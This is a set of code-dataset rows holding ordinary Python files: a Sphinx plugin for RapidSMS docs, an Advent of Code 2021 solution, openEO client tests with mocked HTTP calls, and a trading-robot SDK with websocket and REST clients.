[ "BSD-3-Clause" ]

2

2018-08-03T18:48:09.000Z

2019-01-02T19:33:23.000Z

docs/_ext/rapidsmsdocs.py

datamade/rapidsms

052766eca9d5a79ccc4d1d3b5956c1c34c0d99cb

[ "BSD-3-Clause" ]

null

""" Sphinx plugins for RapidSMS documentation. """ try: import json except ImportError: try: import simplejson as json except ImportError: try: from django.utils import simplejson as json except ImportError: json = None from sphinx import addnodes, roles from docutils.parsers.rst import Directive def setup(app): app.add_crossref_type( directivename = "setting", rolename = "setting", indextemplate = "pair: %s; setting", ) app.add_crossref_type( directivename = "templatetag", rolename = "ttag", indextemplate = "pair: %s; template tag" ) app.add_crossref_type( directivename = "templatefilter", rolename = "tfilter", indextemplate = "pair: %s; template filter" ) app.add_crossref_type( directivename = "router", rolename = "router", indextemplate = "pair: %s; router", ) app.add_config_value('rapidsms_next_version', '0.0', True) app.add_directive('versionadded', VersionDirective) app.add_directive('versionchanged', VersionDirective) class VersionDirective(Directive): has_content = True required_arguments = 1 optional_arguments = 1 final_argument_whitespace = True option_spec = {} def run(self): env = self.state.document.settings.env arg0 = self.arguments[0] is_nextversion = env.config.rapidsms_next_version == arg0 ret = [] node = addnodes.versionmodified() ret.append(node) if not is_nextversion: if len(self.arguments) == 1: linktext = 'Please, see the release notes </releases/%s>' % (arg0) xrefs = roles.XRefRole()('doc', linktext, linktext, self.lineno, self.state) node.extend(xrefs[0]) node['version'] = arg0 else: node['version'] = "Development version" node['type'] = self.name if len(self.arguments) == 2: inodes, messages = self.state.inline_text(self.arguments[1], self.lineno+1) node.extend(inodes) if self.content: self.state.nested_parse(self.content, self.content_offset, node) ret = ret + messages env.note_versionchange(node['type'], node['version'], node, self.lineno) return ret

31.740741

82

0.56515

try: import json except ImportError: try: import simplejson as json except ImportError: try: from django.utils import simplejson as json except ImportError: json = None from sphinx import addnodes, roles from docutils.parsers.rst import Directive def setup(app): app.add_crossref_type( directivename = "setting", rolename = "setting", indextemplate = "pair: %s; setting", ) app.add_crossref_type( directivename = "templatetag", rolename = "ttag", indextemplate = "pair: %s; template tag" ) app.add_crossref_type( directivename = "templatefilter", rolename = "tfilter", indextemplate = "pair: %s; template filter" ) app.add_crossref_type( directivename = "router", rolename = "router", indextemplate = "pair: %s; router", ) app.add_config_value('rapidsms_next_version', '0.0', True) app.add_directive('versionadded', VersionDirective) app.add_directive('versionchanged', VersionDirective) class VersionDirective(Directive): has_content = True required_arguments = 1 optional_arguments = 1 final_argument_whitespace = True option_spec = {} def run(self): env = self.state.document.settings.env arg0 = self.arguments[0] is_nextversion = env.config.rapidsms_next_version == arg0 ret = [] node = addnodes.versionmodified() ret.append(node) if not is_nextversion: if len(self.arguments) == 1: linktext = 'Please, see the release notes </releases/%s>' % (arg0) xrefs = roles.XRefRole()('doc', linktext, linktext, self.lineno, self.state) node.extend(xrefs[0]) node['version'] = arg0 else: node['version'] = "Development version" node['type'] = self.name if len(self.arguments) == 2: inodes, messages = self.state.inline_text(self.arguments[1], self.lineno+1) node.extend(inodes) if self.content: self.state.nested_parse(self.content, self.content_offset, node) ret = ret + messages env.note_versionchange(node['type'], node['version'], node, self.lineno) return ret

true

f70165831b1a0ae798b12f7c6cfd6eaade682b3b

1,528

py

Python

src/11.py

vulpicastor/advent-of-code-2021

12aaf84091604caf88acf3b4f7a118d866c33f5f

[ "MIT" ]

null

src/11.py

vulpicastor/advent-of-code-2021

12aaf84091604caf88acf3b4f7a118d866c33f5f

[ "MIT" ]

null

src/11.py

vulpicastor/advent-of-code-2021

12aaf84091604caf88acf3b4f7a118d866c33f5f

[ "MIT" ]

null

#!/usr/bin/env python3 # pylint: disable=unused-import import collections import functools import io import itertools import operator as op import re import timeit import numpy as np import aocd YEAR = 2021 DAY = 11 def step(grid): grid += 1 flash = np.zeros_like(grid, dtype=bool) while np.any(grid[~flash] > 9): new_flash = (grid > 9) ^ flash grid[:-1, :-1] += new_flash[1:, 1:] grid[:-1, :] += new_flash[1:, :] grid[:-1, 1:] += new_flash[1:, :-1] grid[:, :-1] += new_flash[:, 1:] grid[:, 1:] += new_flash[:, :-1] grid[1:, :-1] += new_flash[:-1, 1:] grid[1:, :] += new_flash[:-1, :] grid[1:, 1:] += new_flash[:-1, :-1] flash |= new_flash grid[flash] = 0 return flash def main(): data = """5483143223 2745854711 5264556173 6141336146 6357385478 4167524645 2176841721 6882881134 4846848554 5283751526""" data = aocd.get_data(day=DAY, year=YEAR) inlist = np.array([list(map(int, l)) for l in data.split('\n')]) print(inlist) grid = inlist.copy() num_flashes = 0 for i in range(100): num_flashes += np.sum(step(grid)) print(num_flashes) answer = num_flashes aocd.submit(answer, part='a', day=DAY, year=YEAR) grid = inlist.copy() for i in itertools.count(1): flash = step(grid) if np.all(flash): answer = i break print(answer) aocd.submit(answer, part='b', day=DAY, year=YEAR) if __name__ == '__main__': main()

20.931507

68

0.578534

import collections import functools import io import itertools import operator as op import re import timeit import numpy as np import aocd YEAR = 2021 DAY = 11 def step(grid): grid += 1 flash = np.zeros_like(grid, dtype=bool) while np.any(grid[~flash] > 9): new_flash = (grid > 9) ^ flash grid[:-1, :-1] += new_flash[1:, 1:] grid[:-1, :] += new_flash[1:, :] grid[:-1, 1:] += new_flash[1:, :-1] grid[:, :-1] += new_flash[:, 1:] grid[:, 1:] += new_flash[:, :-1] grid[1:, :-1] += new_flash[:-1, 1:] grid[1:, :] += new_flash[:-1, :] grid[1:, 1:] += new_flash[:-1, :-1] flash |= new_flash grid[flash] = 0 return flash def main(): data = """5483143223 2745854711 5264556173 6141336146 6357385478 4167524645 2176841721 6882881134 4846848554 5283751526""" data = aocd.get_data(day=DAY, year=YEAR) inlist = np.array([list(map(int, l)) for l in data.split('\n')]) print(inlist) grid = inlist.copy() num_flashes = 0 for i in range(100): num_flashes += np.sum(step(grid)) print(num_flashes) answer = num_flashes aocd.submit(answer, part='a', day=DAY, year=YEAR) grid = inlist.copy() for i in itertools.count(1): flash = step(grid) if np.all(flash): answer = i break print(answer) aocd.submit(answer, part='b', day=DAY, year=YEAR) if __name__ == '__main__': main()

true

f70165a3a17fd920644947b39c3f7192a33d8c30

5,864

py

Python

tests/rest/test_connection.py

lforesta/openeo-python-client

d6cfc17f9693f6f6bf4a2ce60eac180ee9576543

[ "Apache-2.0" ]

null

tests/rest/test_connection.py

lforesta/openeo-python-client

d6cfc17f9693f6f6bf4a2ce60eac180ee9576543

[ "Apache-2.0" ]

null

tests/rest/test_connection.py

lforesta/openeo-python-client

d6cfc17f9693f6f6bf4a2ce60eac180ee9576543

[ "Apache-2.0" ]

null

import unittest.mock as mock import pytest import requests_mock from openeo.rest.auth.auth import NullAuth, BearerAuth from openeo.rest.connection import Connection, RestApiConnection, connect, OpenEoApiError API_URL = "https://oeo.net/" @pytest.mark.parametrize( ["base", "paths", "expected_path"], [ # Simple ("https://oeo.net", ["foo", "/foo"], "https://oeo.net/foo"), ("https://oeo.net/", ["foo", "/foo"], "https://oeo.net/foo"), # With trailing slash ("https://oeo.net", ["foo/", "/foo/"], "https://oeo.net/foo/"), ("https://oeo.net/", ["foo/", "/foo/"], "https://oeo.net/foo/"), # Deeper ("https://oeo.net/api/v04", ["foo/bar", "/foo/bar"], "https://oeo.net/api/v04/foo/bar"), ("https://oeo.net/api/v04/", ["foo/bar", "/foo/bar"], "https://oeo.net/api/v04/foo/bar"), ("https://oeo.net/api/v04", ["foo/bar/", "/foo/bar/"], "https://oeo.net/api/v04/foo/bar/"), ("https://oeo.net/api/v04/", ["foo/bar/", "/foo/bar/"], "https://oeo.net/api/v04/foo/bar/"), ] ) def test_rest_api_connection_url_handling(requests_mock, base, paths, expected_path): """Test connection __init__ and proper joining of root url and API path""" conn = RestApiConnection(base) requests_mock.get(expected_path, text="payload") requests_mock.post(expected_path, text="payload") for path in paths: assert conn.get(path).text == "payload" assert conn.post(path, {"foo": "bar"}).text == "payload" def test_rest_api_headers(): conn = RestApiConnection(API_URL) with requests_mock.Mocker() as m: def text(request, context): assert request.headers["User-Agent"].startswith("openeo-python-client") assert request.headers["X-Openeo-Bar"] == "XY123" m.get("/foo", text=text) m.post("/foo", text=text) conn.get("/foo", headers={"X-Openeo-Bar": "XY123"}) conn.post("/foo", {}, headers={"X-Openeo-Bar": "XY123"}) def test_connection_with_session(): session = mock.Mock() response = session.request.return_value response.status_code = 200 response.json.return_value = {"foo": "bar"} conn = Connection("https://oeo.net/", session=session) assert conn.capabilities().capabilities == {"foo": "bar"} session.request.assert_any_call( url="https://oeo.net/", method="get", headers=mock.ANY, stream=mock.ANY, auth=mock.ANY ) def test_connect_with_session(): session = mock.Mock() response = session.request.return_value response.status_code = 200 response.json.return_value = {"foo": "bar"} conn = connect("https://oeo.net/", session=session) assert conn.capabilities().capabilities == {"foo": "bar"} session.request.assert_any_call( url="https://oeo.net/", method="get", headers=mock.ANY, stream=mock.ANY, auth=mock.ANY ) def test_api_error(requests_mock): conn = Connection(API_URL) requests_mock.get('https://oeo.net/collections/foobar', status_code=404, json={ "code": "CollectionNotFound", "message": "No such things as a collection 'foobar'", "id": "54321" }) with pytest.raises(OpenEoApiError) as exc_info: conn.describe_collection("foobar") exc = exc_info.value assert exc.http_status_code == 404 assert exc.code == "CollectionNotFound" assert exc.message == "No such things as a collection 'foobar'" assert exc.id == "54321" assert exc.url is None def test_api_error_non_json(requests_mock): conn = Connection(API_URL) requests_mock.get('https://oeo.net/collections/foobar', status_code=500, text="olapola") with pytest.raises(OpenEoApiError) as exc_info: conn.describe_collection("foobar") exc = exc_info.value assert exc.http_status_code == 500 assert exc.code == "unknown" assert exc.message == "olapola" assert exc.id is None assert exc.url is None def test_authenticate_basic(requests_mock): conn = Connection(API_URL) def text_callback(request, context): assert request.headers["Authorization"] == "Basic am9objpqMGhu" return '{"access_token":"w3lc0m3"}' requests_mock.get('https://oeo.net/credentials/basic', text=text_callback) assert isinstance(conn.auth, NullAuth) conn.authenticate_basic(username="john", password="j0hn") assert isinstance(conn.auth, BearerAuth) assert conn.auth.bearer == "w3lc0m3" def test_authenticate_oidc(oidc_test_setup): # see test/rest/conftest.py for `oidc_test_setup` fixture client_id = "myclient" oidc_discovery_url = "https://oeo.net/credentials/oidc" state, webbrowser_open = oidc_test_setup(client_id=client_id, oidc_discovery_url=oidc_discovery_url) # With all this set up, kick off the openid connect flow conn = Connection(API_URL) assert isinstance(conn.auth, NullAuth) conn.authenticate_OIDC(client_id=client_id, webbrowser_open=webbrowser_open) assert isinstance(conn.auth, BearerAuth) assert conn.auth.bearer == state["access_token"] def test_load_collection_arguments(requests_mock): conn = Connection(API_URL) requests_mock.get(API_URL, json={"version": "0.4.0"}) requests_mock.get(API_URL + "collections/FOO", json={ "properties": {"eo:bands": [{"name": "red"}, {"name": "green"}, {"name": "blue"}]} }) spatial_extent = {"west": 1, "south": 2, "east": 3, "north": 4} temporal_extent = ["2019-01-01", "2019-01-22"] im = conn.load_collection( "FOO", spatial_extent=spatial_extent, temporal_extent=temporal_extent, bands=["red", "green"] ) node = im.graph[im.node_id] assert node["process_id"] == "load_collection" assert node["arguments"] == { "id": "FOO", "spatial_extent": spatial_extent, "temporal_extent": temporal_extent, "bands": ["red", "green"] }

38.834437

105

0.657913

import unittest.mock as mock import pytest import requests_mock from openeo.rest.auth.auth import NullAuth, BearerAuth from openeo.rest.connection import Connection, RestApiConnection, connect, OpenEoApiError API_URL = "https://oeo.net/" @pytest.mark.parametrize( ["base", "paths", "expected_path"], [ ("https://oeo.net", ["foo", "/foo"], "https://oeo.net/foo"), ("https://oeo.net/", ["foo", "/foo"], "https://oeo.net/foo"), ("https://oeo.net", ["foo/", "/foo/"], "https://oeo.net/foo/"), ("https://oeo.net/", ["foo/", "/foo/"], "https://oeo.net/foo/"), ("https://oeo.net/api/v04", ["foo/bar", "/foo/bar"], "https://oeo.net/api/v04/foo/bar"), ("https://oeo.net/api/v04/", ["foo/bar", "/foo/bar"], "https://oeo.net/api/v04/foo/bar"), ("https://oeo.net/api/v04", ["foo/bar/", "/foo/bar/"], "https://oeo.net/api/v04/foo/bar/"), ("https://oeo.net/api/v04/", ["foo/bar/", "/foo/bar/"], "https://oeo.net/api/v04/foo/bar/"), ] ) def test_rest_api_connection_url_handling(requests_mock, base, paths, expected_path): conn = RestApiConnection(base) requests_mock.get(expected_path, text="payload") requests_mock.post(expected_path, text="payload") for path in paths: assert conn.get(path).text == "payload" assert conn.post(path, {"foo": "bar"}).text == "payload" def test_rest_api_headers(): conn = RestApiConnection(API_URL) with requests_mock.Mocker() as m: def text(request, context): assert request.headers["User-Agent"].startswith("openeo-python-client") assert request.headers["X-Openeo-Bar"] == "XY123" m.get("/foo", text=text) m.post("/foo", text=text) conn.get("/foo", headers={"X-Openeo-Bar": "XY123"}) conn.post("/foo", {}, headers={"X-Openeo-Bar": "XY123"}) def test_connection_with_session(): session = mock.Mock() response = session.request.return_value response.status_code = 200 response.json.return_value = {"foo": "bar"} conn = Connection("https://oeo.net/", session=session) assert conn.capabilities().capabilities == {"foo": "bar"} session.request.assert_any_call( url="https://oeo.net/", method="get", headers=mock.ANY, stream=mock.ANY, auth=mock.ANY ) def test_connect_with_session(): session = mock.Mock() response = session.request.return_value response.status_code = 200 response.json.return_value = {"foo": "bar"} conn = connect("https://oeo.net/", session=session) assert conn.capabilities().capabilities == {"foo": "bar"} session.request.assert_any_call( url="https://oeo.net/", method="get", headers=mock.ANY, stream=mock.ANY, auth=mock.ANY ) def test_api_error(requests_mock): conn = Connection(API_URL) requests_mock.get('https://oeo.net/collections/foobar', status_code=404, json={ "code": "CollectionNotFound", "message": "No such things as a collection 'foobar'", "id": "54321" }) with pytest.raises(OpenEoApiError) as exc_info: conn.describe_collection("foobar") exc = exc_info.value assert exc.http_status_code == 404 assert exc.code == "CollectionNotFound" assert exc.message == "No such things as a collection 'foobar'" assert exc.id == "54321" assert exc.url is None def test_api_error_non_json(requests_mock): conn = Connection(API_URL) requests_mock.get('https://oeo.net/collections/foobar', status_code=500, text="olapola") with pytest.raises(OpenEoApiError) as exc_info: conn.describe_collection("foobar") exc = exc_info.value assert exc.http_status_code == 500 assert exc.code == "unknown" assert exc.message == "olapola" assert exc.id is None assert exc.url is None def test_authenticate_basic(requests_mock): conn = Connection(API_URL) def text_callback(request, context): assert request.headers["Authorization"] == "Basic am9objpqMGhu" return '{"access_token":"w3lc0m3"}' requests_mock.get('https://oeo.net/credentials/basic', text=text_callback) assert isinstance(conn.auth, NullAuth) conn.authenticate_basic(username="john", password="j0hn") assert isinstance(conn.auth, BearerAuth) assert conn.auth.bearer == "w3lc0m3" def test_authenticate_oidc(oidc_test_setup): client_id = "myclient" oidc_discovery_url = "https://oeo.net/credentials/oidc" state, webbrowser_open = oidc_test_setup(client_id=client_id, oidc_discovery_url=oidc_discovery_url) conn = Connection(API_URL) assert isinstance(conn.auth, NullAuth) conn.authenticate_OIDC(client_id=client_id, webbrowser_open=webbrowser_open) assert isinstance(conn.auth, BearerAuth) assert conn.auth.bearer == state["access_token"] def test_load_collection_arguments(requests_mock): conn = Connection(API_URL) requests_mock.get(API_URL, json={"version": "0.4.0"}) requests_mock.get(API_URL + "collections/FOO", json={ "properties": {"eo:bands": [{"name": "red"}, {"name": "green"}, {"name": "blue"}]} }) spatial_extent = {"west": 1, "south": 2, "east": 3, "north": 4} temporal_extent = ["2019-01-01", "2019-01-22"] im = conn.load_collection( "FOO", spatial_extent=spatial_extent, temporal_extent=temporal_extent, bands=["red", "green"] ) node = im.graph[im.node_id] assert node["process_id"] == "load_collection" assert node["arguments"] == { "id": "FOO", "spatial_extent": spatial_extent, "temporal_extent": temporal_extent, "bands": ["red", "green"] }

true

f701678d9565d7ea82674dde93f7d7ccdabe6c52

10,194

py

Python

yufuquantsdk/clients.py

We-Hack-Studio/nuts-sdk

54ea379156b9f3c36a3ec05ba3d161b16ef43fc4

[ "MIT" ]

1

2021-04-11T03:48:17.000Z

yufuquantsdk/clients.py

We-Hack-Studio/nuts-sdk

54ea379156b9f3c36a3ec05ba3d161b16ef43fc4

[ "MIT" ]

null

yufuquantsdk/clients.py

We-Hack-Studio/nuts-sdk

54ea379156b9f3c36a3ec05ba3d161b16ef43fc4

[ "MIT" ]

3

2021-04-17T22:52:05.000Z

2022-01-05T01:30:57.000Z

import asyncio import json import logging from datetime import datetime from typing import Any, Dict, Iterable, List, Optional, Set, Union import httpx import websockets from websockets import exceptions logger = logging.getLogger("yufuquantsdk") class WebsocketAPIClient: def __init__(self, uri: str, ws: websockets.WebSocketClientProtocol = None) -> None: self._uri: str = uri self._ws: websockets.WebSocketClientProtocol = ws self._authed: bool = False self._api_key = "" self._sub_topics: Set[str] = set() self._inputs: asyncio.Queue[str] = asyncio.Queue() self._outputs: asyncio.Queue[str] = asyncio.Queue(maxsize=100) self._run_task: asyncio.Task[Any] = asyncio.get_event_loop().create_task( self._run() ) async def auth(self, api_key: str): message = { "cmd": "auth", "api_key": api_key, } await self._deliver(json.dumps(message)) self._authed = True self._api_key = api_key async def sub(self, topics: Iterable[str]): # Remove duplicated topics if not isinstance(topics, set): topics = set(topics) message = { "cmd": "sub", "topics": list(topics), # Object of type set is not JSON serializable } await self._deliver(json.dumps(message)) self._sub_topics = topics async def unsub(self, topics: Iterable[str]): # Remove duplicated topics if not isinstance(topics, set): topics = set(topics) message = { "cmd": "unsub", "topics": list(topics), } await self._deliver(json.dumps(message)) self._sub_topics = self._sub_topics - topics async def robot_ping(self): data = {"timestamp": int(datetime.now().timestamp() * 1000)} message = {"category": "robotPing", "data": data} await self._broadcast(message) async def robot_log(self, text: str, level: str = "info"): data = { "text": text, "level": level, "timestamp": int(datetime.now().timestamp()) * 1000, } message = {"category": "robotLog", "data": data} await self._broadcast(message) async def robot_position_store(self, positions): data = { "updatedAt": datetime.now().isoformat(), "positions": positions, } message = {"category": "robotPositionStore", "data": data} await self._broadcast(message) async def robot_order_store(self, orders): data = { "updatedAt": datetime.now().isoformat(), "orders": orders, } message = {"category": "robotOrderStore", "data": data} await self._broadcast(message) async def robot_strategy_store(self, data): d = { "updatedAt": datetime.now().isoformat(), "data": data, } message = {"category": "robotStrategyStore", "data": d} await self._broadcast(message) async def _connect(self, **kwargs): # disable ping kwargs["ping_interval"] = None retry_count = 0 for i in range(3): try: self._ws = await websockets.connect(self._uri, **kwargs) break except Exception as exc: logger.exception("Failed to connect to %s: %s.", self._uri, exc) retry_count += 1 if retry_count >= 3: raise await asyncio.sleep(10) logger.info("Connected to %s.", self._uri) async def _reconnect(self): await self._connect() if self._authed: await self.auth(self._api_key) if len(self._sub_topics) > 0: await self.sub(self._sub_topics) logger.info("Reconnected to %s.", self._uri) async def _deliver(self, s: str): await self._inputs.put(s) async def _send(self, s: str): assert self._ws is not None, "No connection!" try: await self._ws.send(s) logger.debug(">>> %s", s) except websockets.ConnectionClosed as exc: logger.exception(exc) await self._reconnect() async def _broadcast(self, message: Dict): data = {"cmd": "broadcast", "message": message} await self._deliver(json.dumps(data)) async def _pong(self, message: Dict[str, int]): await self._send(json.dumps({"pong": message["ping"]})) # todo: handle stop signal async def _run(self): await self._connect() try: while True: incoming: asyncio.Task[Any] = asyncio.create_task(self._ws.recv()) outgoing: asyncio.Task[Any] = asyncio.create_task(self._inputs.get()) done: Set[asyncio.Future[Any]] pending: Set[asyncio.Future[Any]] done, pending = await asyncio.wait( [incoming, outgoing], return_when=asyncio.FIRST_COMPLETED ) # Cancel pending tasks to avoid leaking them. if incoming in pending: incoming.cancel() if outgoing in pending: outgoing.cancel() if incoming in done: try: message = incoming.result() logger.debug("<<< %s", message) except websockets.ConnectionClosed as exc: logger.exception(exc) await self._reconnect() else: decoded = json.loads(message) if "ping" in decoded: await self._pong(decoded) else: try: self._outputs.put_nowait(decoded) except asyncio.QueueFull: logger.warning("The outputs queue is full.") if outgoing in done: message = outgoing.result() await self._send(message) finally: await self.close() async def close(self): ws = self._ws self._ws = None await ws.close() close_status = exceptions.format_close(ws.close_code, ws.close_reason) logger.info(f"Connection closed: {close_status}.") ROBOT_REQ_PATH = "/robots/{robot_id}/" ROBOT_PING_REQ_PATH = "/robots/{robot_id}/ping/" ROBOT_ASSET_RECORD_REQ_PATH = "/robots/{robot_id}/assetRecord/" ROBOT_STRATEGY_PARAMETERS_REQ_PATH = "/robots/{robot_id}/strategyParameters/" ROBOT_CREDENTIAL_KEY_REQ_PATH = "/robots/{robot_id}/credentialKey/" ROBOT_POSITION_STORE_REQ_PATH = "/robots/{robot_id}/positionStore/" ROBOT_ORDER_STORE_REQ_PATH = "/robots/{robot_id}/orderStore/" ROBOT_STRATEGY_STORE_REQ_PATH = "/robots/{robot_id}/strategyStore/" class RESTAPIClient: def __init__(self, base_url: str, api_key: str): self._base_url: str = base_url.rstrip("/") self._api_key: str = api_key async def get_robot(self, robot_id: int): req_path = ROBOT_REQ_PATH.format(robot_id=robot_id) return await self._request("GET", req_path) async def update_robot_asset_record(self, robot_id: int, data: Dict[str, Any]): req_path = ROBOT_ASSET_RECORD_REQ_PATH.format(robot_id=robot_id) return await self._request("PATCH", req_path, data=data) async def update_robot_strategy_store(self, robot_id: int, data: Dict[str, Any]): req_path = ROBOT_STRATEGY_STORE_REQ_PATH.format(robot_id=robot_id) return await self._request("PUT", req_path, data=data) async def update_robot_position_store( self, robot_id: int, data: List[Dict[str, Any]] ): req_path = ROBOT_POSITION_STORE_REQ_PATH.format(robot_id=robot_id) return await self._request("PUT", req_path, data=data) async def update_robot_order_store(self, robot_id: int, data: List[Dict[str, Any]]): req_path = ROBOT_ORDER_STORE_REQ_PATH.format(robot_id=robot_id) return await self._request("PUT", req_path, data=data) async def ping_robot(self, robot_id: int): req_path = ROBOT_PING_REQ_PATH.format(robot_id=robot_id) return await self._request("POST", req_path) async def get_robot_strategy_parameters(self, robot_id: int): req_path = ROBOT_STRATEGY_PARAMETERS_REQ_PATH.format(robot_id=robot_id) return await self._request("GET", req_path) async def get_robot_credential_key(self, robot_id: int): req_path = ROBOT_CREDENTIAL_KEY_REQ_PATH.format(robot_id=robot_id) return await self._request("GET", req_path) async def _request( self, method: str, req_path: str, headers: Optional[Dict[str, str]] = None, params: Optional[Dict[str, str]] = None, data: Optional[Union[Dict, List]] = None, auth: bool = True, ): req_headers = {"Content-Type": "application/json"} if auth: req_headers["X-Api-Key"] = self._api_key if headers is not None: req_headers.update(headers) url = self._base_url + req_path async with httpx.AsyncClient() as client: logger.debug( "%s %s, Request<headers=%s params=%s data=%s>", method, url, req_headers, params, data, ) res = await client.request( method, url, headers=req_headers, params=params, json=data, timeout=5, ) http_text = res.text logger.debug( "%s %s, Response<status_code=%s headers=%s http_text=%s>", method, url, res.status_code, req_headers, http_text, ) res.raise_for_status() if res.status_code == "204": return None return res.json()

35.151724

88

0.572101

import asyncio import json import logging from datetime import datetime from typing import Any, Dict, Iterable, List, Optional, Set, Union import httpx import websockets from websockets import exceptions logger = logging.getLogger("yufuquantsdk") class WebsocketAPIClient: def __init__(self, uri: str, ws: websockets.WebSocketClientProtocol = None) -> None: self._uri: str = uri self._ws: websockets.WebSocketClientProtocol = ws self._authed: bool = False self._api_key = "" self._sub_topics: Set[str] = set() self._inputs: asyncio.Queue[str] = asyncio.Queue() self._outputs: asyncio.Queue[str] = asyncio.Queue(maxsize=100) self._run_task: asyncio.Task[Any] = asyncio.get_event_loop().create_task( self._run() ) async def auth(self, api_key: str): message = { "cmd": "auth", "api_key": api_key, } await self._deliver(json.dumps(message)) self._authed = True self._api_key = api_key async def sub(self, topics: Iterable[str]): if not isinstance(topics, set): topics = set(topics) message = { "cmd": "sub", "topics": list(topics), } await self._deliver(json.dumps(message)) self._sub_topics = topics async def unsub(self, topics: Iterable[str]): if not isinstance(topics, set): topics = set(topics) message = { "cmd": "unsub", "topics": list(topics), } await self._deliver(json.dumps(message)) self._sub_topics = self._sub_topics - topics async def robot_ping(self): data = {"timestamp": int(datetime.now().timestamp() * 1000)} message = {"category": "robotPing", "data": data} await self._broadcast(message) async def robot_log(self, text: str, level: str = "info"): data = { "text": text, "level": level, "timestamp": int(datetime.now().timestamp()) * 1000, } message = {"category": "robotLog", "data": data} await self._broadcast(message) async def robot_position_store(self, positions): data = { "updatedAt": datetime.now().isoformat(), "positions": positions, } message = {"category": "robotPositionStore", "data": data} await self._broadcast(message) async def robot_order_store(self, orders): data = { "updatedAt": datetime.now().isoformat(), "orders": orders, } message = {"category": "robotOrderStore", "data": data} await self._broadcast(message) async def robot_strategy_store(self, data): d = { "updatedAt": datetime.now().isoformat(), "data": data, } message = {"category": "robotStrategyStore", "data": d} await self._broadcast(message) async def _connect(self, **kwargs): kwargs["ping_interval"] = None retry_count = 0 for i in range(3): try: self._ws = await websockets.connect(self._uri, **kwargs) break except Exception as exc: logger.exception("Failed to connect to %s: %s.", self._uri, exc) retry_count += 1 if retry_count >= 3: raise await asyncio.sleep(10) logger.info("Connected to %s.", self._uri) async def _reconnect(self): await self._connect() if self._authed: await self.auth(self._api_key) if len(self._sub_topics) > 0: await self.sub(self._sub_topics) logger.info("Reconnected to %s.", self._uri) async def _deliver(self, s: str): await self._inputs.put(s) async def _send(self, s: str): assert self._ws is not None, "No connection!" try: await self._ws.send(s) logger.debug(">>> %s", s) except websockets.ConnectionClosed as exc: logger.exception(exc) await self._reconnect() async def _broadcast(self, message: Dict): data = {"cmd": "broadcast", "message": message} await self._deliver(json.dumps(data)) async def _pong(self, message: Dict[str, int]): await self._send(json.dumps({"pong": message["ping"]})) async def _run(self): await self._connect() try: while True: incoming: asyncio.Task[Any] = asyncio.create_task(self._ws.recv()) outgoing: asyncio.Task[Any] = asyncio.create_task(self._inputs.get()) done: Set[asyncio.Future[Any]] pending: Set[asyncio.Future[Any]] done, pending = await asyncio.wait( [incoming, outgoing], return_when=asyncio.FIRST_COMPLETED ) if incoming in pending: incoming.cancel() if outgoing in pending: outgoing.cancel() if incoming in done: try: message = incoming.result() logger.debug("<<< %s", message) except websockets.ConnectionClosed as exc: logger.exception(exc) await self._reconnect() else: decoded = json.loads(message) if "ping" in decoded: await self._pong(decoded) else: try: self._outputs.put_nowait(decoded) except asyncio.QueueFull: logger.warning("The outputs queue is full.") if outgoing in done: message = outgoing.result() await self._send(message) finally: await self.close() async def close(self): ws = self._ws self._ws = None await ws.close() close_status = exceptions.format_close(ws.close_code, ws.close_reason) logger.info(f"Connection closed: {close_status}.") ROBOT_REQ_PATH = "/robots/{robot_id}/" ROBOT_PING_REQ_PATH = "/robots/{robot_id}/ping/" ROBOT_ASSET_RECORD_REQ_PATH = "/robots/{robot_id}/assetRecord/" ROBOT_STRATEGY_PARAMETERS_REQ_PATH = "/robots/{robot_id}/strategyParameters/" ROBOT_CREDENTIAL_KEY_REQ_PATH = "/robots/{robot_id}/credentialKey/" ROBOT_POSITION_STORE_REQ_PATH = "/robots/{robot_id}/positionStore/" ROBOT_ORDER_STORE_REQ_PATH = "/robots/{robot_id}/orderStore/" ROBOT_STRATEGY_STORE_REQ_PATH = "/robots/{robot_id}/strategyStore/" class RESTAPIClient: def __init__(self, base_url: str, api_key: str): self._base_url: str = base_url.rstrip("/") self._api_key: str = api_key async def get_robot(self, robot_id: int): req_path = ROBOT_REQ_PATH.format(robot_id=robot_id) return await self._request("GET", req_path) async def update_robot_asset_record(self, robot_id: int, data: Dict[str, Any]): req_path = ROBOT_ASSET_RECORD_REQ_PATH.format(robot_id=robot_id) return await self._request("PATCH", req_path, data=data) async def update_robot_strategy_store(self, robot_id: int, data: Dict[str, Any]): req_path = ROBOT_STRATEGY_STORE_REQ_PATH.format(robot_id=robot_id) return await self._request("PUT", req_path, data=data) async def update_robot_position_store( self, robot_id: int, data: List[Dict[str, Any]] ): req_path = ROBOT_POSITION_STORE_REQ_PATH.format(robot_id=robot_id) return await self._request("PUT", req_path, data=data) async def update_robot_order_store(self, robot_id: int, data: List[Dict[str, Any]]): req_path = ROBOT_ORDER_STORE_REQ_PATH.format(robot_id=robot_id) return await self._request("PUT", req_path, data=data) async def ping_robot(self, robot_id: int): req_path = ROBOT_PING_REQ_PATH.format(robot_id=robot_id) return await self._request("POST", req_path) async def get_robot_strategy_parameters(self, robot_id: int): req_path = ROBOT_STRATEGY_PARAMETERS_REQ_PATH.format(robot_id=robot_id) return await self._request("GET", req_path) async def get_robot_credential_key(self, robot_id: int): req_path = ROBOT_CREDENTIAL_KEY_REQ_PATH.format(robot_id=robot_id) return await self._request("GET", req_path) async def _request( self, method: str, req_path: str, headers: Optional[Dict[str, str]] = None, params: Optional[Dict[str, str]] = None, data: Optional[Union[Dict, List]] = None, auth: bool = True, ): req_headers = {"Content-Type": "application/json"} if auth: req_headers["X-Api-Key"] = self._api_key if headers is not None: req_headers.update(headers) url = self._base_url + req_path async with httpx.AsyncClient() as client: logger.debug( "%s %s, Request<headers=%s params=%s data=%s>", method, url, req_headers, params, data, ) res = await client.request( method, url, headers=req_headers, params=params, json=data, timeout=5, ) http_text = res.text logger.debug( "%s %s, Response<status_code=%s headers=%s http_text=%s>", method, url, res.status_code, req_headers, http_text, ) res.raise_for_status() if res.status_code == "204": return None return res.json()

true

f7016aa5a1922d65f259e33893ab7489e6d9026d

436

py

Python

main.py

flaviopangracio/ort_music

604e4d918d3057ee7ea3716bd3dfb77072e81ba3

[ "MIT" ]

null

main.py

flaviopangracio/ort_music

604e4d918d3057ee7ea3716bd3dfb77072e81ba3

[ "MIT" ]

null

main.py

flaviopangracio/ort_music

604e4d918d3057ee7ea3716bd3dfb77072e81ba3

[ "MIT" ]

null

